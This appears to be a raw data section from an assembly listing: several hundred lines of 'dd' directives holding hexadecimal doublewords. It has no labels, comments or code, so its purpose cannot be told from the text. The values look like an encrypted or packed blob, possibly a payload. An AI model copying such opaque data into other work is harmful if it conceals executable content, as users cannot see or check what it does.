dd 0B6B80799h, 0CAD29187h, 0F1F48210h, 7855931Eh, 0FD1207A8h
dd 70470243h, 0E6C8FE8Ch, 31DC71ACh, 3E9AAFDh, 422A0CD4h
dd 94B4D655h, 11F65296h, 0FC1A177Eh, 82A70253h, 3DD3F6A4h
dd 0CD9626CBh, 0D267E0FCh, 0BFDFEA3Bh, 3D877D0Ah, 52A85022h
dd 43DE6971h, 42132AF7h, 5733D5EDh, 429E3CFDh, 0FC1A1796h
dd 83E3023Bh, 0C23B7D1Eh, 288668FDh, 0A840E861h, 42036A23h
dd 63782D9h, 282E02F5h, 3DFC0955h, 1D8254F9h, 0F1B482E1h
dd 0BDACEA5Eh, 57BD7DAEh, 42E2175Ah, 92FDD39Fh, 7C389770h
dd 6AB8259h, 0BD61C12Bh, 0C2FCDA9Dh, 4266319Fh, 0C2208C22h
dd 42E20202h, 0C29C82BDh, 425E027Fh, 0C218AB89h, 42DA02FBh
dd 3DC7D4E4h, 52685CE2h, 6E492931h, 0B9A7C277h, 4F4F6C4Fh
dd 525777FAh, 57F7D029h, 42DA3C5Dh, 80FC072Ch, 54AE0277h
dd 8E008221h, 37A96D8Ch, 0AB0ED2EDh, 27526B29h, 0A3AEE77Eh
dd 3DF77B7h, 578BD295h, 42263C09h, 808C0798h, 1E7102C3h
dd 0A71FE3CFh, 27436301h, 0A88ACD6Dh, 31DE61AEh, 9110D4D9h
dd 42526122h, 0B094F16Dh, 42CC67AFh, 0A339F03Eh, 2B58674Bh
dd 0C299E795h, 23FF70F8h, 0AB12E701h, 235B675Bh, 0ACB9F281h
dd 19243D4h, 0B62DE71Fh, 2D7C524Ah, 0B1BBE78Ah, 30C902EAh
dd 0A730E300h, 2D6B6775h, 0AA94E795h, 26E367D1h, 0A74EC15Dh
dd 169B767Eh, 0A3DDF0B1h, 303902FFh, 0A740E330h, 2E996D43h
dd 0B2DCE7B9h, 2C2130A0h, 0AA5FF22Ch, 7EE7660h, 96DCEBB1h
dd 230F70E3h, 0AB628221h, 2BB2676Bh, 0ADF4E7ACh, 36117BD0h
dd 0AB48EF58h, 4DE6792h, 8EFDE7CBh, 23286012h, 8514FB47h
dd 2B907692h, 0B6D1E7DDh, 203B7007h, 0B169F658h, 278902AEh
dd 0AEE1C4DDh, 3823510Eh, 0A7438240h, 2EAF4493h, 0AFE9D6C4h
dd 27050206h, 0A693CF69h, 0ADB6EAAh, 0AE1CECF8h, 53A433Eh
dd 0A7A0F670h, 2BF072BAh, 0A33EE7FDh, 4273673Eh, 9698E74Ah
dd 12DE6FAAh, 8300F6E8h, 364F454Bh, 0B196E753h, 42C86DAEh
dd 9414E7C6h, 2B517026h, 0BA99EC92h, 27D902FEh, 0AE37D40Dh
dd 0B7F6F4Eh, 0B0BBE49Bh, 2BE263DAh, 0C211EC1Eh, 26736D7Fh
dd 0B0AEEBA1h, 3F770CEh, 0B229CF69h, 356F6B7Dh, 0AB82E4AAh
dd 0D8667CBh, 842EE711h, 0F676E4Ah, 0ABCCF2BCh, 423F65F1h
dd 0AC5DF216h, 2195704Bh, 0C2C7F1B0h, 211970C7h, 0F143F134h
dd 309B4421h, 92ACF6BEh, 270D6DFDh, 0F01BF13Ah, 36926745h
dd 0B6C1D1C5h, 270A6BC1h, 0B054F600h, 3697606Ah, 0C2DDF1D8h
dd 42A672Ch, 967DEE50h, 42BF6F92h, 0A7F1EEE6h, 3B050207h
dd 0AF75F642h, 27BF6BA7h, 0ABCAEDF9h, 2B1A6703h, 9708E744h
dd 32AB6F85h, 0B5E1EBF3h, 2B006428h, 9400E74Dh, 37B6708Ah
dd 0AE3DEEFCh, 425D6D33h, 0B691F04Eh, 2ED344BEh, 0B63A82F0h
dd 375C6616h, 0B0A0F662h, 2EDB74BAh, 0B109E5E8h, 27456D1Bh
dd 0B6A68267h, 23CF7088h, 0AB22E7F1h, 0C26672Bh, 0A792C175h
dd 12C776A2h, 0A73FED0Fh
dd 0C1E714Ch, 0A7AAC18Dh, 12FF76DAh, 0A737ED07h, 3A537144h
dd 81A4CCF1h, 36F367C1h, 0A129D108h, 2C616B5Bh, 81BCCCE9h
dd 36EB67D9h, 0A737D700h, 2D745255h, 0B1B3E782h, 0FF64CA3h
dd 0AB6AF23Ch, 24B1757Ah, 0B6DBE78Ah, 42146DF2h, 0B27BF61Bh
dd 2BB06C72h, 8CB0E7BDh, 27024DE7h, 0AD5ED223h, 319D676Ch
dd 0A7C3ED9Dh, 362402E5h, 0AC41F20Ah, 36856754h, 0C2CEEDA8h
dd 303276CDh, 0A179F652h, 30B7548Bh, 0AEF9F7CDh, 2D376736h
dd 8C14FB47h, 27A35383h, 0ACD9FBC3h, 2F206D15h, 0AD65F64Ch
dd 29A15681h, 8C88ECCCh, 2B38551Fh, 0AB52E751h, 23B37695h
dd 0AFE5CFCDh, 423B700Ch, 9790F64Fh, 2DDD6BB1h, 0B62BE7FDh
dd 25546B29h, 0ACB5ED41h, 36E56BA4h, 0A51EEBE3h, 3615553h
dd 0B08DF65Eh, 42DE77BBh, 0B107EEEAh, 2145712Eh, 0C290E76Eh
dd 2CC86DA4h, 0C214E1E4h, 2A566724h, 0A0A8F192h, 2FFF6CC6h
dd 0A72A821Ch, 311A7458h, 0C2B0EC90h, 29F56DC4h, 8B50F614h
dd 3077765Dh, 81B8E783h, 27FD6DC3h, 0A626E321h, 0B0A6747h
dd 0B0A1F68Bh, 5F267C9h, 0AD03F604h, 21676C4Dh, 91D8E7A9h
dd 270A63EBh, 0B656CB59h, 2794707Eh, 0A7C4CDA1h, 0B7643F9h
dd 0B055F63Fh, 0D86677Dh, 97C2E7BDh, 422F6EFDh, 0A75CEC00h
dd 368F6C79h, 0A6C5E797h, 270A6BC1h, 9464C341h, 71AB5242h
dd 8ED8AC8Fh, 270C0233h, 0AD74C15Eh, 27916788h, 0A7C682CCh
dd 27264D10h, 0BB75C95Fh, 42937AB6h, 93EBE7FFh, 3B3C671Ah
dd 0B764E37Fh, 3B2478Eh, 0A5E1D0A5h, 14326734h, 0A775EE40h
dd 42837AA6h, 0A88AB1CBh, 0C968545Dh, 90F9E8CDh, 14A27024h
dd 8008176Ah, 86BD0247h, 92A6D447h, 5AC2FD85h, 0FC861772h
dd 86AD025Fh, 0CA2ADC19h, 0B9E38FCBh, 0AA354AAEh, 0AA260247h
dd 0C1C4CE8Ch, 47C802A9h, 0A80FD22Ch, 12D2893Ah, 96885672h
dd 10CB42D1h, 0D0C17D26h, 0C1161208h, 572F8E35h, 42823DA9h
dd 14446EEh, 7C2E97A2h, 0BFB82F9h, 2AD802C1h, 0C2768255h
dd 1357C6ACh, 9390C28Bh, 82011AC9h, 0CC56D655h, 4C6BFD4Fh
dd 41B892E6h, 9049225Fh, 5B3B42D0h, 1A2CF5D5h, 957340F2h
dd 839AFDA0h, 0CDD37DB2h, 42EEA78Bh, 0DAC0D2C9h, 0C96A02F8h
dd 4924E891h, 2AA668CBh, 0C2B082C1h, 283000E9h, 0B104EA3Dh
dd 42B402FFh, 3DC8D1E8h, 526500EEh, 3D4DDD35h, 52E85062h
dd 0B66F07B1h, 0C2DF8902h, 210C9238h, 425B8FE3h, 0C18892B9h
dd 0BD1955BAh, 2C8109F7h, 0CFC612D9h, 0C2A9842Eh, 0BD69EA63h
dd 47777DE2h, 42AE3DD9h, 0EB2B0D14h, 58D2025Bh, 490B7DEAh
dd 5288F052h, 98FF0F91h, 0AA32027Ah, 3D137D04h, 7C588744h
dd 2ED8299h, 0CDA7223Fh, 0C2E4AB62h, 0BD58F62Fh, 3CE5097Eh
dd 0C722127Dh, 4FD7F63Dh, 42B77630h, 3C876A79h, 8591FDC4h
dd 2A8141AAh, 429602B7h, 0D6BD032Ch, 71121228h, 5D490F24h
dd 138E12B1h, 9219D33Dh, 0D7F5537Ah, 0C2D4BC9Bh, 0BDA20620h
dd 0D27ED0F4h, 46C05F23h, 0C254D7DDh, 1F7E029Fh, 0D97B6FD8h
dd 0BD90020Bh, 0D9BA1758h, 10260287h, 0C214A29Ch, 86710239h
dd 476BE4C1h, 427E19DBh, 47EFA284h, 42FA195Dh, 0C28E82E1h
dd 580CC1DAh, 0C2296A19h, 6F0203h, 0B6228DCh, 2B9DF20Ah
dd 0D227EEACh, 4A5E07FBh, 571DC0BDh, 42463D1Bh, 97D360C6h
dd 42D2021Bh, 2F0DDFADh, 425E19F2h, 0FD781FA2h, 3E4902FBh
dd 0CD848A81h, 4246BBE3h, 0CAEC0321h, 16C202E1h, 0C27D86F5h
dd 0E4ABFD5Fh, 49F89227h, 663E8F27h, 0C2748391h, 0AA366807h
dd 0C2F08215h, 42E05085h, 60F97DDAh, 712E1271h, 0C67F0FC0h
dd 13AA02CAh, 9366E8D4h, 424E032Dh, 90A08201h, 7CCC973Ch
dd 47CA826Dh, 124576C9h, 0C3DCEAADh, 0BDCD02BBh, 0C074A6C1h
dd 0D7E90237h, 0C2C0BDBFh, 365287EAh, 9258617Bh, 4264D6A4h
dd 949FD3BBh, 7C6C9754h, 471D8275h, 14D677E7h, 0FC92171Eh
dd 150F02B3h, 0A86BD019h, 0D5735A5Bh, 0C2B883DDh, 28BA3130h
dd 69C7DB45h, 12A65247h, 90E0D281h, 7C04976Ch, 6AD825Dh
dd 42EE0007h, 0CA8CF636h, 7D549774h, 3D778255h, 52D93C92h
dd 0C662DFC1h, 485C8283h, 495A8348h, 52CB7E72h, 4F8161B9h
dd 524A02EEh, 94C58135h, 8252D008h, 0C38F0ABEh, 0C65D0273h
dd 0C20C833Dh, 37F43C6Fh, 0FC08C4B9h, 43CE0D6Bh, 42048224h
dd 0B3B322D9h, 92BE03E7h, 37054C2Ah, 433095Fh, 69F10399h
dd 0C212D357h, 0BD69540Ah, 0D2CBB480h, 838D5BD7h, 0C2AF079Eh
dd 0C7BF0253h, 0C2FC9C9Eh, 4EC602A5h, 92688289h, 74BFFD18h
dd 0FFE4923Ah, 42A602CBh, 0C2DF078Eh, 0F3CB0243h, 43DC82FDh
dd 0BCC5281h, 67DD8D2Fh, 0C11A023Bh, 0FE788A33h, 0DB120DBAh
dd 0FE508271h, 0EEE17713h, 47C3B8D1h, 428E0223h, 0E2688FC4h
dd 6337220Bh, 0B7B0E782h, 62BAAED8h, 0BCC1FE14h, 366A22DCh
dd 43CDF7A9h, 780E01E1h, 0AA4DAD76h, 420545DDh, 0D20EB3DAh
dd 0B57602B0h, 57CFD0B3h, 42E23CC5h, 92FC42FEh, 4B8652DFh
dd 86288249h, 2E847564h, 0C2C0E3AAh, 7D209778h, 2A58251h
dd 8BD13477h, 0FDEC0734h, 2A0F026Fh, 42188039h, 128C53AAh
dd 0FDDE174Ah, 0D7DB0267h, 0C20099A6h, 161B31A3h, 93DED2FCh
dd 3CDBFD3Eh, 45089217h, 0D73526EFh, 0C294BCF7h, 0CFC6C19Fh
dd 0C210974Eh, 2801FBE2h, 3D7DE89Ch, 464DFD6Ch, 27D97E6h
dd 998958AFh, 0C9C7521Eh, 0CF0A5254h, 0D2ED39A4h, 4E0889D3h
dd 496C828Ch, 422F0AC5h, 0E9108109h, 89216200h, 0B6052476h
dd 0B7C44542h, 563ACEAh, 8E2951CCh, 9288092Ah, 135E686Bh
dd 3D27E8ABh, 52A5102Eh, 44D90975h, 0C1161209h, 0DFB8E35h
dd 8595EB30h, 2A4CE86Ah, 41418B2Fh, 8487D12Ah, 10CB55FFh
dd 0AB09DE20h, 31697044h, 9EB4E48Eh, 26EC6BF4h, 9E4FF532h
dd 308C775Ch, 94CCECBCh, 2B0970FEh, 8768EC3Ah, 2D9A726Fh
dd 0C2C2E7A3h, 250063C7h, 0AD64F628h, 40EE767Ch, 97F882C9h
dd 32568BF9h, 0AB5CED37h, 308F2C6Ah, 0AEC1E5A2h, 6C1B7AE2h
dd 8C1CEE4Dh, 629541B6h, 0AEE0EAD8h, 332D731Eh, 8747D73Fh
dd 8AF22A5h, 0E2DECBFEh, 303B7455h, 9706F759h, 42CE0207h
dd 2F09DFA9h, 425A1CCEh, 0D76B07E3h, 0BDC602F7h, 0D2BE2834h
dd 5DAAC363h, 0DC96BE69h, 7CDCB754h, 6E218289h, 684F2C67h
dd 3DCA0373h, 0CF9577CAh, 0D24FE42Ch, 40448953h, 678A275Ah
dd 7A728742h, 47E78299h, 423A3B49h, 38A20BFFh, 0B9584C4Bh
dd 0D828330h, 63CA52A8h, 41237D06h, 469626C3h, 0CAB0C60Ch
dd 111A023Bh, 86FAC1B3h, 0BD964EFBh, 0D26E34E4h, 36D20933h
dd 0C0A611E0h, 1C1BFDFCh, 3D489257h, 0D5E291FBh, 2A3B7D1Bh
dd 428602ACh, 9D03C432h, 62C516Ch, 3DBCCE91h, 5240B40Ah
dd 3C446A59h, 4212FDE4h, 3D4B7D23h, 5264D61Ah, 4FF9B151h
dd 52B11696h, 93FDD3CDh, 133F52DEh, 70BD7D18h, 0AAEA1235h
dd 0C2A482CEh, 102351D2h, 860EB072h, 0BDE24E4Fh, 0D2A23428h
dd 4254EA7Fh, 0B16F8239h, 2CB3708Bh, 0C2D5E4C1h, 1CC3FD27h
dd 4B10920Fh, 52EC6476h, 4FBD8DADh, 525777E2h, 0AE8D0B29h
dd 13CA12D4h, 0FC32175Ah, 2AD50277h, 0C2008225h, 5B40B76Eh
dd 4F25828Dh, 520150E2h, 373A6A19h, 85DCFD24h, 0D26AE710h
dd 0C1660257h, 0D2EEE5B4h, 0D73F02D3h, 0C27C9CA8h, 4344561Fh
dd 0AABA8263h, 0C2AA02C9h, 0FD32177Ah, 82A30257h, 4FC2F75Bh
dd 52BC5A4Eh, 0C436D07Dh
dd 5C7BB7B2h, 948C82E9h, 10CB52EBh, 0FD0E178Ah, 0BD4E0227h
dd 0D2EFD064h, 3117C4B3h, 0C24C922Ch, 420E0EC7h, 8D9BD5E9h
dd 70B949E8h, 8E08C64Bh, 0F493FD27h, 51C092DFh, 428205CBh
dd 1B890F5Dh, 1BFE1207h, 0FD9A3F54h, 7F92028Bh, 2ACB7DA0h
dd 42F6021Bh, 8BFECB86h, 6C2647DDh, 0C260CE09h, 7C5897F0h
dd 22D82D9h, 405F8684h, 0AAB78245h, 42E60202h, 0DBB7374Ch
dd 0CF3B0293h, 0D223BC80h, 0B7D8EAFFh, 7F1B7D46h, 424A3D39h
dd 0D2908D35h, 0C3D602F5h, 0C291125Dh, 433A5673h, 3D0C822Ch
dd 52F1207Ah, 524C03A9h, 124A026Ah, 0C26E56AEh, 53FDB5h
dd 4780929Eh, 4F375BA3h, 0C2EF0A75h, 942BFDDFh, 297892A7h
dd 258781B9h, 0C2F4920Bh, 0C73B2BA2h, 0C2609CFAh, 6CA7FD03h
dd 47EC9232h, 0CB2A0D0Fh, 49688288h, 42A10E0Bh, 476BB2FAh
dd 42B61CA0h, 83130747h, 28230253h, 0A8DDE8FDh, 780BFDBDh
dd 41589246h, 0C615FDC3h, 0C2D48395h, 21038F24h, 0A850926Fh
dd 0BD415023h, 0D2F3A878h, 4D4E87AFh, 0C249C2ECh, 0C6B78F2Bh
dd 73C492FBh, 0B8BAEAAFh, 56287D9Eh, 1C020223h, 0F63564F6h
dd 0D78156BBh, 0C228BCF7h, 5C68BF96h, 0C30582C5h, 0BD8C1F7Fh
dd 0BDA50FAEh, 28F2120Dh, 0C2B8EACDh, 113C028Fh, 0FD1E17B6h
dd 667021Bh, 572996E1h, 42764193h, 0C8968D11h, 56C64688h
dd 0C094627Ch, 84C0335h, 0C152903Bh, 4AFE46F0h, 39B6335h
dd 49070A97h, 3D00A675h, 0FF5F52C1h, 0C29CBDD9h, 424E1E87h
dd 0F426A729h, 62E42293h, 0E7BEA28Bh, 7A682742h, 0E278A759h
dd 8C871C6h, 0E232CBD2h, 0D7C1555Fh, 0C2E8BC7Fh, 4216C65Ah
dd 0C21E8295h, 0BD655507h, 0D2CFB484h, 0CA3F89D3h, 0A86C9298h
dd 2935E14Fh, 2AB98FC0h, 42AA02CEh, 0C800A7A3h, 0D7D95547h
dd 0C2F0BC67h, 12AEC640h, 0C5348996h, 0CF1E023Fh, 0D2C61A44h
dd 0BDC955BBh, 0D26BB4E0h, 3CD68737h, 0B6650FA5h, 0C192128Ch
dd 0D2590AC8h, 0CF83022Fh, 0C2D8C39Ah, 42E0CC80h, 3D17D434h
dd 523930B2h, 0C23801E1h, 0C9132DDDh, 0B6890FA3h, 0F2FE1220h
dd 0B71670D4h, 6892628Bh, 0A3CB7DAFh, 4B151565h, 29B1F55Ch
dd 69BD8979h, 0B6910F83h, 0B1EE1230h, 295F056Dh, 0D7955132h
dd 0C234BD63h, 5789BF87h, 0B6A182D1h, 37526AA9h, 57E3823Dh
dd 42CE3C29h, 83EB3F39h, 365A026Bh, 0A5914524h, 42D612E9h
dd 49082B1h, 521371F6h, 0CAE5822Dh, 8531FD11h, 0D29DFA2Ch
dd 424A026Bh, 0C6C6DFA5h, 0DCC0FE7h, 0ADEFEC81h, 242D220Dh
dd 0A495EE3Dh, 0D9E23BAh, 0AF11F6B9h, 2D4E223Eh, 0AE91E135h
dd 23C460B2h, 0CF51E7E5h, 62122259h, 0E2A3A22Dh, 2FC377BCh
dd 0A548F0ECh, 274E702Ah, 0C8E9A36Bh, 27CA6795h, 0A70CF6EFh
dd 3B4E7130h, 0B2BDEADDh, 23BE7BCFh, 0A778E617h, 217F7243h
dd 0B6BAE381h, 36E5229Bh, 0AB34EC10h, 6228655Dh, 95C68FC0h
dd 2AED76CEh, 0E22FEC00h, 62666E4Ah, 0E2BDE381h, 62E26CC6h
dd 0AA27EB0Fh, 24222E57h, 0A49CF0B2h, 2C1B6BEDh, 8B18F13Dh
dd 2B9B753Bh, 0C8B9B8A1h, 30136AC0h, 0B051A234h, 2D8B2276h
dd 0A48CAEB8h, 2C0B6BFDh, 0E217F12Dh, 27876D48h, 0B6EDA2E4h
dd 62156BA7h, 0A74DEB35h, 36AB2222h, 0AEBCF19Ah, 633B761Eh
dd 0D2BE9610h, 8BC57F45h, 8C8529C4h, 0E7ACD854h, 8227D003h
dd 9957896Ah, 76725D98h, 0EECA3C7h, 0F8A3DB7Eh, 0F1CAD368h
dd 0BDFD19F3h, 0FF060299h, 44E1D3B5h, 5A270D93h, 104EC1h
dd 8D88CE28h, 0E20F3242h, 9A02B189h, 0C2748295h, 42360257h
dd 0C2F08211h, 42B202D3h, 0C26C828Dh, 422E024Fh, 0C2E88209h
dd 42AA02CBh, 0C2648285h, 42260247h, 0C2E08201h, 42A202C3h
dd 0C25C827Dh, 0C6FFC2EDh, 267D0199h, 429A12F9h, 80BC27F6h
dd 4D160227h, 4FC4C146h, 0F59D1AE0h, 124F8426h, 662A46A4h
dd 0B0C4C0C2h, 4AC839B2h, 80CF9616h, 4E442933h, 80241768h
dd 0C70B02B3h, 0C22CC0B5h, 807D07F4h, 0A36160F1h, 0CA7A0659h
dd 0D210D5D0h, 4292EA17h, 0DDD882D1h, 0CF720293h, 0D20F06C8h
dd 5AD75B0Fh, 22B8EBDh, 0BD9DE08Fh, 0D26642C0h, 9B11C107h
dd 0E6F70FC2h, 52810293h, 4DE0F2C2h, 463681FFh, 5F11745Bh
dd 424A21FFh, 0B614B8B6h, 41E429F2h, 8C1D92C3h, 1C095A8Fh
dd 0B60CB8AEh, 0A9FCFDEBh, 0D2FA7DAAh, 0BDB55583h, 0E9CAA9DAh
dd 5284EA6Ah, 8983DAA1h, 0C7CDC157h, 0C2ECC0D9h, 7E8718h
dd 0C2788289h, 7ED2025Bh, 49F48215h, 52F4C252h, 34D96A91h
dd 5ADAFDACh, 41EC820Dh, 52ECC272h, 0CA1D8289h, 662A9FC2h
dd 5E0F8215h, 668F38h, 4DA38291h, 5260C6C6h, 2490BFDh
dd 0AA9E12FDh, 0C258827Ah, 0C9D9CB08h, 0C2D40266h, 0AF7E50B7h
dd 0C1AF7D8Fh, 5250EAA6h, 411A81EDh, 4D8E0ED5h, 0C24985EDh
dd 5270812Bh, 3F408DE5h, 0C98602A7h, 2A108E23h, 0BDFDFCEBh
dd 805407DEh, 847D028Fh, 42300809h, 5B8E02E2h, 0B69A7B55h
dd 0B39D4294h, 4331CADAh, 9D2DDDF2h, 86550312h, 376E4EC3h
dd 0A03DBA5h, 4D10FB88h, 0C2A4354Ah, 3AE76487h, 0CD12B1BFh
dd 42E2A986h, 0F81FD4BDh, 0C95B777Fh, 0C0F39273h, 0B3D90870h
dd 3CE66AE4h, 0F755FD88h, 0C200C0D9h, 3A12875Eh, 46088D56h
dd 0BD4E026Fh, 0D24A6A9Ch, 172252EBh, 0C17B7D5Bh, 5204EAE2h
dd 2A850D21h, 41C212A1h, 412FA699h, 990D009Fh, 21F03416h
dd 627382C9h, 0E65043C6h, 662A2B53h, 99D48E38h, 0C35BE993h
dd 79BB8D76h, 0C3107692h, 0ACAD2AF2h, 0C39C7610h, 635FDB7Eh
dd 0C30876B8h, 77C254FAh, 0C384766Fh, 9AB51186h, 0C30076CCh
dd 9A31FF02h, 0C38C7648h, 0E76BC48Eh, 0C31876D6h, 0E7EFB20Ah
dd 0BD947652h, 0D20E46F8h, 33E7592Fh, 9C377D16h, 0AB9EC028h
dd 3DBB7C8Ah, 466C01E4h, 37896AB9h, 0D70AFD5Ch, 0C22CA46Ch
dd 5ACFBA79h, 267860DBh, 24980098h, 9A32E8FEh, 0BD032CFFh
dd 0CA72012Eh, 4718D314h, 370D6A15h, 0B86EFDF0h, 72A3F1CAh
dd 73EF00DBh, 68249263h, 2A8C25ECh, 38202899h, 0F27A7780h
dd 371D6A2Ch, 4366FD00h, 469882B9h, 935776A9h, 29DE7CD5h
dd 0FAD3E901h, 429082B1h, 81EDE0D8h, 0FBB017A0h, 95E502FFh
dd 354B585Eh, 5273B2EEh, 0C2048225h, 82530DF7h, 348B6260h
dd 527BACE6h, 0C489831Dh, 67370FB9h, 478E9172h, 422A3BF5h
dd 0A4F2F717h, 0A99333DAh, 0C37DE495h, 0AA996476h, 3D137DB1h
dd 0CB9A4144h, 0D22A5A1Ch, 0B5E9A94Bh, 0D2DD3280h, 42A602C7h
dd 2F58D91h, 0AA88BE47h, 3D237D61h, 429736h, 47AE8269h
dd 420A3B95h, 0CDD0F7F4h, 6994E986h, 359329B1h, 522BB2B6h
dd 0C2CC82EDh, 0C8A976BFh, 0D27128ECh, 49EAC32Bh, 874F8F83h
dd 0BA36A9C1h, 68C508CBh, 8302121Ah, 0A5B9993Dh, 0E9788BFBh
dd 695E426Ah, 264210F0h, 69B4875Ah, 7BDC871Dh, 9A348241h
dd 0E9EAE2D2h, 4E29440Eh, 4B6E12A8h, 3E98A7A2h, 0FA8C22E0h
dd 69C2822Eh, 460C1B6Ch, 36296A19h, 466FFDFCh, 0CA7C436Fh
dd 82D70719h, 0C1F3295Fh, 2870924Bh, 327CDAAEh, 0C2A9FD84h
dd 0D2370EB4h, 0B85204F3h, 46A3F1A5h, 0BC8D76BDh, 3CCBF6E3h
dd 0BC0D7621h, 3C5DF66Fh, 0BC4A76ADh, 3C0FF6EBh, 0F2CD7629h
dd 72B76964h, 998EA8D8h, 374846F2h, 0BA0AC230h, 35B73E7Eh
dd 520FB2D2h, 0C2D08211h, 3734B2D3h, 4F68868Fh, 0E7A4FC00h
dd 0C2F8BBA1h, 0BE2AA9ADh, 7263F780h, 0BD698247h, 0A0082841h
dd 0B55DFD3Ch, 0D26532F8h
dd 425E023Fh, 0A460E4F9h, 0F698778Ah, 72FFE45Ch, 0E893082Fh
dd 2D092C8h, 0AA380153h, 3DB37D50h, 0C7F98A9Fh, 0C2D8BB59h
dd 428A82ABh, 44F48010h, 7BAEA7ADh, 69A682F1h, 3787FE23h
dd 423C325Ah, 0E8BEFD50h, 7E050F1Ah, 0AA7A12A2h, 3DCB7D58h
dd 7B4687E0h, 0C2B082C1h, 410602D3h, 3586E2FDh, 52D7B28Ah
dd 0C2A882C9h, 0FA6D769Bh, 0C2C80910h, 0C7114DACh, 0C2B0BB71h
dd 40620280h, 0C2EC0632h, 0AA6E02FFh, 7F112913h, 424A40B3h
dd 3DEA4EDDh, 0E83EB208h, 0E2D0B1Ah, 0AA521231h, 3DF37C90h
dd 7B7E8718h, 0C28B82B9h, 583E026Bh, 0FBB407D2h, 42C602F7h
dd 0C8F480A1h, 0BDBC2C8Bh, 3C676AE2h, 0AB0EFD20h, 47F32933h
dd 422A4093h, 0ADF4D9Eh, 66BF5Eh, 8AF98281h, 2655BAAFh
dd 0F147B4F2h, 0B505640Fh, 0D251320Ch, 422A014Bh, 34F7F605h
dd 529FAC42h, 0C8140281h, 0BDDFA8ABh, 3C876A02h, 2526FD40h
dd 697E0B1Dh, 0E97CC208h, 0FB640702h, 429502A7h, 98248271h
dd 7BBC87C5h, 0B74C82FDh, 0BF0FEAA5h, 0F0A07D96h, 0AAF5FDD5h
dd 3D3B7FE7h, 566E2217h, 21BF7D9Ah, 0BDBA641Ah, 5317E4C8h
dd 0F2EB8934h, 35389260h, 4138F5C9h, 0B7B482D5h, 0BEAAEA83h
dd 0DD807DAEh, 0BD08ECFBh, 3D14E432h, 0D3C5649Ah, 49E709E2h
dd 52A8D28Eh, 4B6CA9C5h, 0C791FECFh, 0C230BBF1h, 42E20200h
dd 476BBAC9h, 424E3BCFh, 0CE188239h, 0C72D2E8Fh, 0C284BB05h
dd 40560277h, 0F88844h, 0AA2DFD0Eh, 3D737FE6h, 7BFE8798h
dd 0C2088239h, 48BE0AEBh, 3D792E4Dh, 0BF27EA98h, 47F77DDEh
dd 42D23B53h, 0C27C8299h, 0D4D6152Bh, 7A077DE4h, 8A44C2F2h
dd 27C3A3Eh, 0FA9D0623h, 0A51B7A64h, 0BFCDEA78h, 479B7D72h
dd 423E3BFFh, 0C2E88201h, 0FF2A70BEh, 0C274BB2Bh, 0AA4F7647h
dd 3D1F7F64h, 6BBA2B7Bh, 68F988B4h, 821E1206h, 67D2811Dh
dd 428A3B11h, 3F1F6ADEh, 0F3A6FDC8h, 6C55085Bh, 0E892128Ah
dd 3DB1BE85h, 0C7B80DD0h, 0C2D8BB43h, 464A0626h, 0CAA44325h
dd 0E9608F97h, 956A8351h, 0BD7F224Bh, 0E600ABA2h, 0B91CBA79h
dd 723D7580h, 527A12A2h, 0B6348255h, 0E8BFB210h, 38C53AB7h
dd 0E914E391h, 3DD07EA5h, 0E806B2F0h, 4B0342FAh, 5228B636h
dd 72A17545h, 62E6123Eh, 0B7A082C1h, 9C8A55B8h, 35E37DC1h
dd 52E7B27Ah, 0C29882B9h, 0CB4276FBh, 0D2566288h, 0BFEFEAF7h
dd 787D4Eh, 0F2ADFD8Fh, 78E428EEh, 1831FD13h, 9A384D22h
dd 0C740C840h, 0C214BB8Dh, 0E83A486Eh, 3D7C2649h, 0C3FA649Ch
dd 727975DDh, 2BE12E6h, 0B6788299h, 6AFE8258h, 0FB5C271Fh
dd 0E9D002C7h, 80C83F18h, 0B5990243h, 0D2D53288h, 42AE02CFh
dd 7261F7C9h, 0EAAF001Bh, 68E4923Ch, 7B168730h, 0C2E08291h
dd 49570243h, 47D63A4Dh, 428E3B16h, 0A46569D3h, 0B5023383h
dd 0D2ED3270h, 429702B7h, 7252F671h, 0EBB7081Ah, 2CC92D4h
dd 0E784014Bh, 0C258BBC0h, 0FA6CA94Dh, 47337264h, 42963B17h
dd 0C2408061h, 8AB60056h, 0FB1527D7h, 0E918028Fh, 80EC3FD0h
dd 0FE42020Bh, 69B482FCh, 7BC68760h, 0C2388241h, 33860213h
dd 3D577E25h, 0F2EBF570h, 0C2289270h, 37EA020Fh, 0C81C32CEh
dd 525FA802h, 8FCB2841h, 7B5287F4h, 0CA9C82ADh, 532B027Fh
dd 229B3A5Fh, 7B70A7F1h, 69F282A5h, 0A9FCC244h, 0EBA8E424h
dd 0E87708EBh, 28C9294h, 0E744018Bh, 0C218BB83h, 0C73DA98Dh
dd 0C294BB15h, 42461267h, 2813A47h, 86420197h, 68D98895h
dd 243E1266h, 474E8DB2h, 42AA3B75h, 39FF6A3Eh, 0C7C1FDA8h
dd 0C2E0BBA1h, 2B202D3h, 92DC8CF9h, 7B86874Dh, 2A428219h
dd 0BD55F9BAh, 4B9ACD08h, 5264BECAh, 72657501h, 42A212FAh
dd 0B6DC827Dh, 0E8F6B228h, 80380772h, 85B102ABh, 69506AF6h
dd 0F6BFBEh, 0C73B82E1h, 0BD69B05Bh, 39776A92h, 0C7F9FDD0h
dd 0C2D8BB59h, 428B02ABh, 82F48910h, 7BAE872Dh, 296A82F1h
dd 0C13A64ACh, 6A99889Dh, 24FE1226h, 68B93272h, 7BCA876Ch
dd 0C2348245h, 6D830215h, 0FB000726h, 42720283h, 0D8598249h
dd 0C7E4C2BFh, 0C2B8BB63h, 7BC5A701h, 22E58255h, 245E6417h
dd 0C2102940h, 2D20A68h, 0FBB60737h, 0B57402EFh, 0D2A1323Ch
dd 4A5A027Bh, 0A404F735h, 483E814Fh, 0D2A92B14h, 0F2F96473h
dd 7204692Ch, 0EB4B08A7h, 68889290h, 0BDB0B283h, 728175DAh
dd 42C612DEh, 738092A1h, 24677716h, 0C80401A5h, 5287AB7Ah
dd 0F1D3E499h, 0FF13A89Bh, 0C2E4C0A9h, 7B068720h, 0C2708281h
dd 5D470273h, 0D907F5BCh, 5AA7BAA9h, 0FBC12783h, 0A6EA025Bh
dd 6B418806h, 24A612FEh, 7EDDAB2Ah, 0C8221201h, 7E79083Ch
dd 249E12FDh, 0C00032D2h, 5223AABEh, 883C28F5h, 0B569FD4Dh
dd 0D26932F4h, 42120133h, 35E0F6EFh, 52B7B22Ah, 0C2488269h
dd 0B52A7723h, 0D2FD3260h, 428602A7h, 2A4AF767h, 0BDFDFB8Ch
dd 3D469E35h, 0BBAFEA60h, 0D0D07DA6h, 0B505FDE1h, 0D28D3250h
